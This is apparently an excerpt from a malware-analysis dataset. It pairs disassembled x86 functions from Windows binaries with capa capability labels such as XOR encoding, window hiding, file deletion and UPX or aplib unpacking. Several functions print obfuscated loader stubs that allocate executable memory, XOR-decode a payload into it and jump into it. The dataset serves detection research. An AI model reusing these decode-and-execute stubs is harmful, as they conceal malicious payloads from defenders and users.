joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100064fc
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
pushal
call 0x1000650b
pop dword [ebp - 0x44]
mov eax, 0xd6bb5368
sub eax, 0xc6baee5d
sub dword [ebp - 0x44], eax
mov dword [ebp - 0x54], 0x3acbada9
sub dword [ebp - 0x54], 0xec79685e
mov dword [ebp - 0x50], 0x1263aa25
add dword [ebp - 0x50], 0x1fcfa220
mov dword [ebp - 0x4c], 0xc59676ca
sub dword [ebp - 0x4c], 0x794a329c
mov dword [ebp - 0x48], 0x82726a0e
add dword [ebp - 0x48], 0x7d8d95f2
lea eax, [ebp - 0x54]
push eax
mov eax, 0x8ee999a
add eax, 0x7125716
add eax, dword [ebp - 0x44]
call dword [eax]
mov dword [ebp - 0x54], 0x1cf828a0
add dword [ebp - 0x54], 0x577a40b6
mov dword [ebp - 0x50], 0xdfa8534c
add dword [ebp - 0x50], 0x61c40e29
mov dword [ebp - 0x4c], 0xe91f34be
add dword [ebp - 0x4c], 0x7a5037ae
mov dword [ebp - 0x48], 0x2e17f36c
add dword [ebp - 0x48], 0xd1e80c94
lea ebx, [ebp - 0x54]
push ebx
push eax
mov eax, 0xebf5cef5
add eax, 0x240b21b3
add eax, dword [ebp - 0x44]
call dword [eax]
push 0x40
push 0x1000
push 0x39643
push 0
call eax
mov ecx, 0x4a5b
xor esi, esi
add esi, eax
mov edi, 0xda837e5c
add edi, 0x357eb7a4
add edi, dword [ebp - 0x44]
mov ebx, 0xbe1c8c2c
sub dword [ebp - 0x1c], edx
mov edx, dword [edi]
sub dword [ebp - 0x34], 0x9ff0bc2c
sub edx, ebx
xor dword [ebp - 0x18], esi
mov dword [esi], edx
add dword [ebp - 0xc], 0x93ca6b66
add esi, 0x764e72e4
add esi, 0x89b18d20
add edi, 0x5f4e9142
sub edi, 0x5f4e913e
loop 0x10006623
add eax, 0xc35a7d84
add eax, 0x3ca69ebb
mov ebx, eax
add eax, 5
mov ecx, 0x95ba4eb1
sub ecx, 0x85ba4eb1
add ecx, dword [ebp - 0x44]
call ebx
leave
ret

Function at 0x1000b1e0
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, ecx
mov eax, dword [esi + 0xc]
sub eax, dword [esi + 4]
cmp eax, 0x1a
jl 0x1000b238
mov eax, dword [esi + 8]
cmp eax, dword [esi]
jl 0x1000b238
push 0
push dword [edi + 0x18]
call dword [sym.imp.USER32.dll_ShowWindow]
mov eax, dword [esi + 0xc]
sub eax, dword [esi + 4]
push 0x10
push eax
mov eax, dword [esi + 8]
sub eax, dword [esi]
push eax
push dword [esi + 4]
push dword [esi]
push 0
push dword [edi + 0x18]
call dword [sym.imp.USER32.dll_SetWindowPos]
mov ecx, edi
call fcn.100064fc
push 1
push dword [edi + 0x18]
call dword [sym.imp.USER32.dll_ShowWindow]
pop edi
pop esi
pop ebp
ret 4

Function at 0x1000b7d0
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 8]
push dword [ebp + 0xc]
push 0xd
push dword [ecx + 0x38]
call dword [sym.imp.USER32.dll_SendMessageA]
pop ebp
ret 8
Function at 0x897058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x8971a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x89707e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x89706a
add dl, dl
jne 0x897089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x8970dc
xor eax, eax
add dl, dl
jne 0x897096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x89717d
add dl, dl
jne 0x8970a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x8970b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x8970bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x8970c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x8970d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x897075
mov eax, 1
add dl, dl
jne 0x8970ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x8970f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x8970e1
sub eax, ebx
mov ebx, 1
jne 0x897128
mov ecx, 1
add dl, dl
jne 0x89710e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x897119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x897105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x897075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x89713f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x89714a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x897136
cmp eax, 0x7d00
jae 0x89716d
cmp eax, 0x500
jb 0x897168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x897075
cmp eax, 0x7f
ja 0x897170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x897075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x89719e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x897075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x405d0e
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
and dword [ebp - 0x14], 0
and dword [ebp - 4], 0
push 4
pop eax
mov word [ebp - 0x1e], ax
mov eax, 0x409610
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x20]
mov dword [ebp - 8], eax
lea eax, [ebp - 0xc]
push eax
push dword [ebp + 8]
mov word [ebp - 0x20], 1
mov dword [ebp - 0x10], 0x409600
mov dword [ebp - 0xc], 0xc
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
je 0x405d5d
xor eax, eax
jmp 0x405d8a
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
cmp eax, 0xb7
jne 0x405d89
lea eax, [ebp - 0x20]
push eax
push 0x80000007
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_SetFileSecurityW]
test eax, eax
je 0x405d87
xor eax, eax
jmp 0x405d89
call esi
pop esi
leave
ret 4

Function at 0x405dab
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
lea eax, [ebp - 0x10]
push eax
push 0x460de8
xor eax, eax
push eax
push eax
push 0x4000000
push eax
push eax
push eax
push dword [ebp + 8]
mov dword [0x460de8], 0x44
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x405dea
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x10]
leave
ret 4

Function at 0x405dee
Capabilities:
Create process on windows

Disassembly:
mov eax, dword [esp + 4]
and dword [eax + 0x24], 0
push eax
mov dword [eax], 0x3c
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
ret 4

Function at 0x405fb8
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push esi
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov esi, eax
cmp esi, 0xffffffff
je 0x405fd8
and eax, 0xfffffffe
push eax
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov eax, esi
pop esi
ret 4

Function at 0x405fde
Capabilities:
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
lea ecx, [eax + 1]
push 0
neg ecx
sbb ecx, ecx
and ecx, eax
push ecx
push dword [esp + 0x14]
push 0
push 1
push dword [esp + 0x1c]
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
ret 0xc

Function at 0x40600d
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, dword [ebp + 8]
push edi
push 0x64
pop edi
mov eax, dword [0x4096ec]
mov dword [ebp - 8], eax
mov eax, dword [0x4096f0]
dec edi
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0x1a
pop ecx
xor edx, edx
div ecx
push esi
push 0
lea eax, [ebp - 8]
push eax
push dword [ebp + 0xc]
add word [ebp - 4], dx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
test eax, eax
jne 0x40605d
test edi, edi
jne 0x40601a
mov word [esi], ax
pop edi
pop esi
leave
ret 8
mov eax, esi
jmp 0x406057
Function at 0x406217
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
lea eax, [ebp + 0x18]
push eax
mov eax, dword [ebp + 0x18]
neg eax
sbb eax, eax
and eax, 0x100
or eax, 0x20019
push eax
push dword [ebp + 0xc]
mov dword [ebp - 4], 0x4008
push dword [ebp + 8]
call fcn.004061b6
mov esi, dword [ebp + 0x14]
test eax, eax
jne 0x406288
push edi
lea eax, [ebp - 4]
push eax
push esi
lea eax, [ebp + 0xc]
push eax
push 0
push dword [ebp + 0x10]
push dword [ebp + 0x18]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push dword [ebp + 0x18]
mov edi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
test edi, edi
mov word [esi + 0x4006], ax
pop edi
jne 0x406288
cmp dword [ebp + 0xc], 1
je 0x40628d
cmp dword [ebp + 0xc], 2
je 0x40628d
xor eax, eax
mov word [esi], ax
pop esi
leave
ret 0x14

Function at 0x4066e4
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x23c
push esi
mov esi, 0x104
push esi
lea eax, [ebp - 0x23c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
cmp eax, esi
pop esi
jbe 0x406708
xor eax, eax
test eax, eax
je 0x40671b
cmp word [ebp + eax*2 - 0x23e], 0x5c
je 0x40671b
xor ecx, ecx
jmp 0x40671e
xor ecx, ecx
inc ecx
push dword [ebp + 8]
lea ecx, [ecx*2 + 0x4087d4]
push ecx
lea eax, [ebp + eax*2 - 0x23c]
push str._s_S.dll
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 8
push 0
lea eax, [ebp - 0x23c]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
leave
ret 4

Function at 0x40685c
Capabilities:
Delete directory
Delete file
Set file attributes

Disassembly:
push esi
mov esi, dword [esp + 8]
push edi
push esi
call fcn.00405fb8
mov edi, eax
cmp edi, 0xffffffff
je 0x40689d
test byte [esp + 0x10], 1
push esi
je 0x406886
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
test eax, eax
je 0x40688e
xor eax, eax
inc eax
jmp 0x40689f
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x40687d
test byte [esp + 0x10], 4
jne 0x40689d
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
xor eax, eax
pop edi
pop esi
ret 8

Function at 0x406900
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push esi
push edi
push dword [esp + 0xc]
mov esi, 0x460e30
push esi
call fcn.0040634a
push esi
call fcn.00405ee1
mov edi, eax
test edi, edi
jne 0x406921
xor eax, eax
jmp 0x40697e
push edi
call fcn.0040636c
test byte [0x47d328], 0x80
je 0x40693d
movzx eax, word [edi]
test ax, ax
je 0x40691d
cmp eax, 0x5c
je 0x40691d
sub edi, esi
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenW]
sar edi, 1
jmp 0x40695f
push esi
call fcn.004066bd
test eax, eax
je 0x406959
test byte [eax], 0x10
je 0x406983
push esi
call fcn.004068d3
push esi
call ebx
cmp eax, edi
jg 0x40694a
push esi
call fcn.004068a4
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
pop ebx
pop edi
pop esi
ret 4
xor eax, eax
jmp 0x40697d
Function at 0x406bff
Capabilities:
Get file size

Disassembly:
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
push ebp
push esi
mov esi, dword [esp + 0x14]
push edi
mov dword [0x464e38], 0x55004e
mov dword [0x464e3c], 0x4c
mov edi, 0x400
mov ebp, 0x464e38
test esi, esi
je 0x406c55
push 1
push 0
push esi
call fcn.00405fde
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
push ebp
push esi
call ebx
test eax, eax
je 0x406d78
cmp eax, edi
jg 0x406d78
push edi
mov esi, 0x469c90
push esi
push dword [esp + 0x1c]
call ebx
test eax, eax
je 0x406d78
cmp eax, edi
jg 0x406d78
push esi
push ebp
push str._ls_ls_r_n
push 0x465888
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
mov ebx, eax
mov eax, dword [0x47d2c0]
push dword [eax + 0x128]
push esi
call fcn.00406987
push 4
push 0xc0000000
push esi
call fcn.00405fde
mov ebp, eax
mov dword [esp + 0x18], ebp
cmp ebp, 0xffffffff
je 0x406d78
push 0
push ebp
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
lea eax, [edi + ebx + 0xa]
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
test esi, esi
je 0x406d71
push edi
push esi
push ebp
call fcn.00406061
test eax, eax
je 0x406d71
push str._Rename__r_n
push esi
call fcn.00405f3e
test eax, eax
jne 0x406d0b
push str._Rename__r_n
lea eax, [esi + edi]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
add edi, 0xa
jmp 0x406d44
push 0x409980
add eax, 0xa
push eax
call fcn.00405f3e
mov ebp, eax
test ebp, ebp
je 0x406d40
lea ecx, [esi + edi]
lea eax, [ecx + ebx]
cmp ecx, ebp
jbe 0x406d35
sub eax, ecx
mov dl, byte [ecx]
mov byte [eax + ecx], dl
dec ecx
cmp ecx, ebp
ja 0x406d2b
sub ebp, esi
lea eax, [ebp + 1]
mov ebp, dword [esp + 0x18]
jmp 0x406d46
mov ebp, dword [esp + 0x18]
mov eax, edi
push ebx
push 0x465888
add eax, esi
push eax
call fcn.00405f94
xor eax, eax
push eax
push eax
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
add edi, ebx
push edi
push esi
push ebp
call fcn.00406090
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x406d7d
Capabilities:
Move file

Disassembly:
push 5
push dword [esp + 0xc]
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
test eax, eax
jne 0x406da0
push dword [esp + 8]
push dword [esp + 8]
call fcn.00406bff
pop ecx
pop ecx
inc dword [0x47d390]
ret 8
Function at 0x406da9
Capabilities:
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x258
push ebx
mov ebx, dword [ebp + 0xc]
push esi
mov esi, dword [ebp + 8]
mov eax, ebx
and eax, 4
push esi
mov dword [ebp - 4], eax
call fcn.00406900
mov dword [ebp - 8], eax
test bl, 8
je 0x406de7
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
neg eax
sbb eax, eax
inc eax
add dword [0x47d388], eax
jmp 0x406fc2
mov dword [ebp + 8], ebx
and dword [ebp + 8], 1
push edi
je 0x406e02
test eax, eax
je 0x406f42
test bl, 2
je 0x406f42
push esi
mov edi, 0x465c88
push edi
call fcn.0040634a
cmp dword [ebp + 8], 0
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatW]
je 0x406e24
push str..
push edi
call ebx
jmp 0x406e2a
push esi
call fcn.004068d3
cmp word [esi], 0
jne 0x406e3a
cmp word [0x465c88], 0x5c
jne 0x406e42
push 0x4087d4
push esi
call ebx
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea ebx, [esi + eax*2]
lea eax, [ebp - 0x258]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x406f36
cmp word [ebp - 0x22c], 0x2e
jne 0x406e95
cmp word [ebp - 0x22a], 0
je 0x406f19
cmp word [ebp - 0x22a], 0x2e
jne 0x406e95
cmp word [ebp - 0x228], 0
je 0x406f19
lea eax, [ebp - 0x22c]
push eax
push ebx
call fcn.0040634a
test byte [ebp - 0x258], 0x10
je 0x406ec0
mov eax, dword [ebp + 0xc]
and eax, 3
cmp al, 3
jne 0x406f19
push dword [ebp + 0xc]
push esi
call fcn.00406da9
jmp 0x406f19
push esi
push str.Delete:_DeleteFile___s__
call fcn.00406681
pop ecx
pop ecx
push dword [ebp - 4]
push esi
call fcn.0040685c
push esi
test eax, eax
jne 0x406f12
cmp dword [ebp - 4], eax
je 0x406efe
push str.Delete:_DeleteFile_on_Reboot___s__
call fcn.00406681
pop ecx
pop ecx
push esi
push 0xfffffffffffffff1
call fcn.00405057
push 0
push esi
call fcn.00406d7d
jmp 0x406f19
push str.Delete:_DeleteFile_failed___s__
call fcn.00406681
inc dword [0x47d388]
pop ecx
pop ecx
jmp 0x406f19
push 0xfffffffffffffff2
call fcn.00405057
lea eax, [ebp - 0x258]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x406e65
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
cmp dword [ebp + 8], 0
je 0x406f42
xor eax, eax
mov word [ebx - 2], ax
xor edi, edi
cmp dword [ebp + 8], edi
je 0x406fc1
push esi
cmp dword [ebp - 8], edi
jne 0x406f56
push str.RMDir:_RemoveDirectory_invalid_input___s__
jmp 0x406fab
call fcn.004066bd
test eax, eax
je 0x406fc1
push esi
call fcn.004068a4
push esi
push str.RMDir:_RemoveDirectory___s__
call fcn.00406681
mov eax, dword [ebp - 4]
pop ecx
pop ecx
or eax, 1
push eax
push esi
call fcn.0040685c
push esi
test eax, eax
jne 0x406fba
cmp dword [ebp - 4], edi
je 0x406fa6
push str.RMDir:_RemoveDirectory_on_Reboot___s__
call fcn.00406681
pop ecx
pop ecx
push esi
push 0xfffffffffffffff1
call fcn.00405057
push edi
push esi
call fcn.00406d7d
jmp 0x406fc1
push str.RMDir:_RemoveDirectory_failed___s__
call fcn.00406681
inc dword [0x47d388]
pop ecx
pop ecx
jmp 0x406fc1
push 0xffffffffffffffe5
call fcn.00405057
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x406fc8
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
cmp dword [0x46a494], 0
jne 0x407006
xor ecx, ecx
push esi
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
movzx edx, dl
neg edx
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x406fdc
mov dword [ecx*4 + 0x46a490], eax
inc ecx
cmp ecx, 0x100
jl 0x406fd7
pop esi
cmp dword [ebp + 0x10], 0
mov eax, dword [ebp + 8]
not eax
jbe 0x407033
mov ecx, dword [ebp + 0xc]
movzx edx, byte [ecx]
dec dword [ebp + 0x10]
xor edx, eax
and edx, 0xff
shr eax, 8
xor eax, dword [edx*4 + 0x46a490]
inc ecx
cmp dword [ebp + 0x10], 0
ja 0x407014
not eax
pop ebp
ret 0xc

Function at 0x414e60
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xf000]
push edi
jmp 0x414e7a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x414e81
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x414e70
mov eax, 1
add ebx, ebx
jne 0x414e93
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x414e88
jne 0x414ea4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x414e88
xor ecx, ecx
sub eax, 3
jb 0x414eb8
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x414f2a
mov ebp, eax
add ebx, ebx
jne 0x414ec3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x414ed0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x414ef4
inc ecx
add ebx, ebx
jne 0x414ee0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x414ed5
jne 0x414ef1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x414ed5
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x414f14
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x414f05
jmp 0x414e76
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x414f14
add edi, ecx
jmp 0x414e76
pop esi
mov edi, esi
mov ecx, 0x5a7
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x414f32
cmp byte [edi], 5
jne 0x414f32
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x414f37
lea edi, [esi + 0x12000]
mov eax, dword [edi]
or eax, eax
je 0x414fa6
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x15454]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1551c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x414f64
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x15520]
or eax, eax
je 0x414fa0
mov dword [ebx], eax
add ebx, 4
jmp 0x414f81
call dword [esi + 0x15530]
mov ebp, dword [esi + 0x15524]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x21f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x414fda
sub esp, 0xffffff80
jmp 0x40a764
Function at 0x10008a45
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x10008a54
pop dword [ebp - 0x14]
mov eax, 0x10008a54
sub dword [ebp - 0x14], eax
push 0x40
push 0x1000
push 0x42572
push 0
mov eax, 0x473a6809
add eax, 0xc8c88953
add eax, dword [ebp - 0x14]
call dword [eax]
mov ecx, 0x94d0b6f5
sub ecx, 0x94d0668b
mov edi, eax
mov edx, 0xd5e2341a
sub edx, 0xc5dd881a
add edx, dword [ebp - 0x14]
mov esi, 0x97db435a
sub esi, 0xb98e1630
sub dword [ebp - 0x10], 0x8796b789
mov ebx, dword [edx]
xor dword [ebp - 0xc], 0x3f880476
xor ebx, esi
mov dword [ebp - 8], 0xd19742b6
mov dword [edi], ebx
sub dword [ebp - 4], ebx
add edi, 4
add edx, 0xf20412e7
sub edx, 0xf20412e3
loop 0x10008aae
add eax, 0xd71265c5
sub eax, 0xd711314a
mov ebx, eax
add eax, 0xd5ae4b2e
add eax, 0x2a51b4d7
mov ecx, 0xd24d14f3
add ecx, 0x3db2eb0d
add ecx, dword [ebp - 0x14]
call ebx
leave
ret

Function at 0x1000cd31
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push 0x424
mov eax, 0x1002cd97
call fcn.10017073
mov eax, dword [ebp + 0xc]
xor esi, esi
mov ebx, dword [ebp + 8]
mov dword [ebp - 0x420], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x41c], eax
mov dword [ebp - 0x430], esi
mov dword [ebp - 4], esi
mov dword [ebp - 0x428], ecx
mov dword [ebp - 0x42c], esi
mov dword [ebp - 0x418], esi
push 0x60
push esi
push ebx
mov byte [ebp - 4], 1
call dword [sym.imp.kernel32.dll_LoadLibraryExW]
mov edi, eax
mov dword [ebp - 0x424], edi
test edi, edi
jne 0x1000cdae
push 2
push esi
push ebx
call dword [sym.imp.kernel32.dll_LoadLibraryExW]
mov edi, eax
mov dword [ebp - 0x424], eax
test edi, edi
jne 0x1000cdae
call fcn.10005a99
mov esi, eax
jmp 0x1000ce85
push dword [ebp - 0x41c]
push dword [ebp - 0x420]
push edi
call dword [sym.imp.kernel32.dll_FindResourceW]
mov ebx, eax
test ebx, ebx
jne 0x1000cdd1
call fcn.10005a99
jmp 0x1000ce78
push ebx
push edi
call dword [sym.imp.kernel32.dll_LoadResource]
mov dword [ebp - 0x41c], eax
test eax, eax
je 0x1000cdc7
push ebx
push edi
call dword [sym.imp.kernel32.dll_SizeofResource]
mov ebx, eax
mov dword [ebp - 0x420], ebx
lea eax, [ebx + 1]
cmp eax, ebx
jae 0x1000ce01
mov esi, 0x8007000e
jmp 0x1000ce7a
push eax
lea ecx, [ebp - 0x418]
mov byte [ebp - 4], 2
call fcn.10008a45
jmp 0x1000ce27
cmp dword [ebp - 0x418], 0
mov dword [ebp - 4], 1
je 0x1000cdfa
push ebx
push dword [ebp - 0x418]
push ebx
push dword [ebp - 0x41c]
push esi
push 3
call dword [sym.imp.kernel32.dll_MultiByteToWideChar]
mov ecx, eax
test ecx, ecx
je 0x1000cdc7
mov eax, dword [ebp - 0x418]
xor edx, edx
push dword [ebp + 0x14]
mov word [eax + ecx*2], dx
lea ecx, [ebp - 0x42c]
push dword [ebp - 0x418]
call fcn.10008a45
mov esi, eax
test edi, edi
je 0x1000ce85
push edi
call dword [sym.imp.kernel32.dll_FreeLibrary]
lea eax, [ebp - 0x414]
cmp dword [ebp - 0x418], eax
je 0x1000ce9e
lea ecx, [ebp - 0x418]
call fcn.1000c4af
mov eax, esi
call fcn.10016fc0
ret 0x10
Function at 0x100123e7
Capabilities:
Delete file

Disassembly:
push 0x14
mov eax, 0x1002d2cf
call fcn.10016fd1
mov ebx, ecx
mov eax, dword [ebx]
xor edi, edi
mov esi, dword [eax + 0x18]
mov ecx, esi
call dword [0x1002f4d0]
mov ecx, ebx
call esi
push eax
lea ecx, [ebp - 0x10]
call fcn.10008a45
and dword [ebp - 4], edi
lea esi, [ebx + 0x44]
cmp dword [esi], edi
je 0x10012492
push str.Excel.Application
lea ecx, [ebp - 0x10]
call fcn.10008a45
mov ecx, dword [esi]
test al, al
je 0x10012474
push 0xb
pop eax
mov word [ebp - 0x20], ax
xor eax, eax
mov word [ebp - 0x18], ax
sub esp, 0x10
mov byte [ebp - 4], 1
mov edi, esp
lea esi, [ebp - 0x20]
push 1
movsd dword es:[edi], dword [esi]
push str.Close
push ecx
push eax
movsd dword es:[edi], dword [esi]
push 1
push ebx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call fcn.10008a45
add esp, 0x28
mov byte [ebp - 4], 0
mov edi, eax
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.oleaut32.dll_VariantCopy]
lea esi, [ebx + 0x44]
jmp 0x1001248b
push 0
push str.Close
push ecx
push 0
push 1
push ebx
call fcn.10008a45
add esp, 0x18
mov edi, eax
mov ecx, esi
call fcn.10009bb3
cmp dword [ebx + 0x24], 0
je 0x100124b2
push str.Excel.Application
lea ecx, [ebp - 0x10]
call fcn.10008a45
test al, al
je 0x100124b2
push dword [ebx + 0x24]
call dword [sym.imp.kernel32.dll_DeleteFileW]
push dword [ebp - 0x10]
call dword [sym.imp.oleaut32.dll_SysStringLen]
mov eax, edi
call fcn.10016f9a
ret